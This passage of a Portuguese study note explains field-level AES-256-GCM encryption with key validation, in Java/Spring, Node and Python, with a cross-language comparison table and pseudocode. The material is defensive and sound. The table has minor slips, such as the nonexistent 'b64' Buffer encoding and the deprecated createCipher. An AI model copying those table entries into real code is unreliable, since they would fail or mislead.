4. Trocar a variavel de ambiente
Isso requer um script de migracao — NAO e automatico.
Validacao da chave no startup
No construtor do EncryptedStringConverter:
byte[] keyBytes = Base64.getDecoder().decode(encryptionProperties.getKey());
if (keyBytes.length != 32) { // AES-256 exige EXATAMENTE 32 bytes
throw new IllegalArgumentException(
"Chave de criptografia deve ter 32 bytes (256 bits). " +
"Recebido: " + keyBytes.length + " bytes. " +
"Gere uma nova com: openssl rand -base64 32");
}
Se a chave estiver errada:
- 16 bytes → AES-128 (mais fraco do que queremos)
- 24 bytes → AES-192
- 31 bytes → invalido (nao e AES)
- 33 bytes → invalido
A aplicacao RECUSA subir com chave de tamanho errado.
Fail-fast: melhor falhar no startup do que cifrar dados
com chave fraca e so descobrir meses depois.
A chave AES e como a chave-mestre de um banco. Existe UMA chave que abre todos os cofres (todos os dados criptografados).
Gerar: a chave e cortada por uma maquina de alta precisao (openssl rand), nunca feita a mao. Guardar: fica no cofre do gerente (variavel de ambiente), NAO pendurada na parede (application.yml em producao). Perder: se o gerente perder a chave, NINGUEM acessa os cofres — os dados ficam presos para sempre.
Por isso, em sistemas reais, a chave fica em servicos como AWS Secrets Manager — que e como uma empresa de seguranca especializada em guardar chaves-mestres, com auditoria e backup automatico.
Passo 3.6 — Universal vs Especifico do Java
Aprendido em 21/03/2026 — Fase 03 (Seguranca)Conceitos UNIVERSAIS da criptografia em campo
CONCEITO UNIVERSAL JAVA (Spring/JPA) NODE.JS PYTHON
────────────────── ───────────── ────── ──────
AES-256-GCM (algoritmo) javax.crypto.Cipher crypto.createCipher cryptography (Fernet)
(padrao NIST, qualquer lang) Cipher.getInstance() iv() + update+final ou AES direto
IV aleatorio por operacao SecureRandom crypto.randomBytes(12) os.urandom(12)
(nunca reutilizar IV)
Chave via env var System.getenv() ou process.env.KEY os.environ["KEY"]
(nunca hardcodar) @ConfigurationProps
Converter transparente AttributeConverter Mongoose middleware SQLAlchemy TypeDecorator
(cifra ao salvar, decifra ao ler) @Convert annotation (pre-save hook) ou hybrid_property
Base64 para armazenar como texto Base64.getEncoder() Buffer.toString('b64') base64.b64encode()
(banco usa VARCHAR)
Expandir colunas no banco Flyway migration Knex/Sequelize migr. Alembic migration
(ciphertext e maior que texto)
Validar tamanho da chave keyBytes.length == 32 Buffer.byteLength len(key) == 32
(fail-fast no startup)
Criptografia em campo nas 3 linguagens
// 1. Converter (cifra/decifra automaticamente):
@Converter
@Component
public class EncryptedStringConverter implements AttributeConverter<String, String> {
private final SecretKey key;
public String convertToDatabaseColumn(String attr) {
byte[] iv = new byte[12];
SECURE_RANDOM.nextBytes(iv);
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(Cipher.ENCRYPT_MODE, key, new GCMParameterSpec(128, iv));
byte[] encrypted = cipher.doFinal(attr.getBytes());
return Base64.getEncoder().encodeToString(
ByteBuffer.allocate(12 + encrypted.length).put(iv).put(encrypted).array());
}
// convertToEntityAttribute() faz o inverso...
}
// 2. Uso na entidade (1 annotation):
@Convert(converter = EncryptedStringConverter.class)
private String holderDocument;
// Java: verboso na criacao do converter, mas 1 linha para aplicar.
// O JPA cuida de tudo — Service nunca sabe.
const crypto = require('crypto');
// Funcoes de criptografia:
function encrypt(text, key) {
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);
let encrypted = cipher.update(text, 'utf8');
encrypted = Buffer.concat([encrypted, cipher.final()]);
const tag = cipher.getAuthTag();
return Buffer.concat([iv, encrypted, tag]).toString('base64');
}
function decrypt(data, key) {
const buf = Buffer.from(data, 'base64');
const iv = buf.subarray(0, 12);
const tag = buf.subarray(-16);
const ciphertext = buf.subarray(12, -16);
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
return decipher.update(ciphertext, null, 'utf8') + decipher.final('utf8');
}
// Mongoose middleware (equivalente ao AttributeConverter):
accountSchema.pre('save', function() {
if (this.isModified('holderDocument'))
this.holderDocument = encrypt(this.holderDocument, KEY);
});
accountSchema.post('find', function(docs) {
docs.forEach(d => d.holderDocument = decrypt(d.holderDocument, KEY));
});
// Node: mais manual (hooks separados para save e find),
// mas o crypto nativo do Node e simples e poderoso.
import os, base64
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from sqlalchemy import TypeDecorator, String
KEY = base64.b64decode(os.environ["ENCRYPTION_KEY"])
# TypeDecorator = equivalente Python do AttributeConverter
class EncryptedString(TypeDecorator):
impl = String(255)
cache_ok = True
def process_bind_param(self, value, dialect):
"""Python → Banco (cifrar)"""
if value is None:
return None
iv = os.urandom(12)
aesgcm = AESGCM(KEY)
ciphertext = aesgcm.encrypt(iv, value.encode(), None)
return base64.b64encode(iv + ciphertext).decode()
def process_result_value(self, value, dialect):
"""Banco → Python (decifrar)"""
if value is None:
return None
data = base64.b64decode(value)
iv, ciphertext = data[:12], data[12:]
aesgcm = AESGCM(KEY)
return aesgcm.decrypt(iv, ciphertext, None).decode()
# Uso no modelo (1 linha, como Java):
class Account(Base):
holder_document = Column(EncryptedString)
# Python: TypeDecorator e conceitualmente identico ao AttributeConverter.
# A biblioteca 'cryptography' abstrai bem o AES-GCM.
O que e ESPECIFICO do Java/Spring
ESPECIFICO DO JAVA/SPRING O QUE FAZ COMO OUTRAS FAZEM
───────────────────────── ───────── ────────────────
AttributeConverter (interface JPA) Converter tipo Java ↔ DB Node: Mongoose hooks
2 metodos: toColumn() + toAttribute() Python: TypeDecorator
@Convert(converter = Xxx.class) Declarar QUAL converter Node: schema.pre('save')
(annotation na Entity) usar em qual campo Python: Column(XxxType)
@Converter (annotation na classe) Registrar como converter Node: nao tem (funcional)
(diz ao JPA "eu sou um converter") disponivel no JPA Python: herdar TypeDecorator
@Component + @Converter juntos Permite injetar beans Node: require() direto
(Spring DI + JPA converter) (EncryptionProperties) Python: import direto
javax.crypto.Cipher + GCMParameterSpec API de criptografia Node: crypto nativo
(API standard do Java) do Java Python: cryptography lib
ByteBuffer Manipular bytes com Node: Buffer (mais simples)
(classe Java para buffers de bytes) posicao, get, put Python: bytes + slicing
SecureRandom CSPRNG do Java Node: crypto.randomBytes()
(gerador aleatorio criptografico) Python: os.urandom()
@ConfigurationProperties Ler config YAML tipada Node: process.env
(bind YAML → POJO automatico) com validacao Python: pydantic Settings
Pseudocodigo universal
// === CIFRAR (antes de salvar no banco) ===
funcao cifrar(texto_puro, chave):
iv = gerar_12_bytes_aleatorios_criptograficos()
cipher = criar_cifrador("AES-256-GCM", chave, iv)
resultado = cipher.cifrar(texto_puro) // retorna ciphertext + authTag
dados = concatenar(iv, resultado) // IV vai junto para poder decifrar
retornar base64_encode(dados) // VARCHAR-friendly
// === DECIFRAR (depois de ler do banco) ===
funcao decifrar(base64_do_banco, chave):
dados = base64_decode(base64_do_banco)
iv = dados[0:12] // primeiros 12 bytes
ciphertext_com_tag = dados[12:] // restante
cipher = criar_decifrador("AES-256-GCM", chave, iv)
texto_puro = cipher.decifrar(ciphertext_com_tag) // verifica authTag!
retornar texto_puro
// === CONVERTER TRANSPARENTE (no ORM) ===
converter CampoEncriptado:
ao_salvar(valor):
retornar cifrar(valor, CHAVE_DO_AMBIENTE)
ao_ler(valor):
retornar decifrar(valor, CHAVE_DO_AMBIENTE)
// === USAR NO MODELO ===
modelo Conta:
documento_titular: CampoEncriptado // so isso! transparente.
// A logica e IDENTICA em Java, Node e Python.
// Muda a sintaxe, muda o nome das funcoes, muda como registrar o converter.
// Mas o CONCEITO e o FLUXO sao os mesmos.
Com o passo 3.6, completamos a Fase 03 — Seguranca. O sistema PixHub agora tem 6 camadas de protecao:
3.1 Cadastro (User) → 3.2 Recepcao com crachas (JWT) → 3.3 Catracas (JwtFilter + CORS) → 3.4 Contador de entradas (Rate Limiting) → 3.5 Detector de metais e cameras (XSS + Headers + Logs) → 3.6 Cofre blindado (AES-256-GCM)
Isso e defense in depth (defesa em profundidade): mesmo que uma camada falhe, as outras protegem. Um atacante precisaria derrotar TODAS as 6 camadas para chegar aos dados sensiveis — e nenhuma dessas camadas depende de framework especifico. Os conceitos sao universais.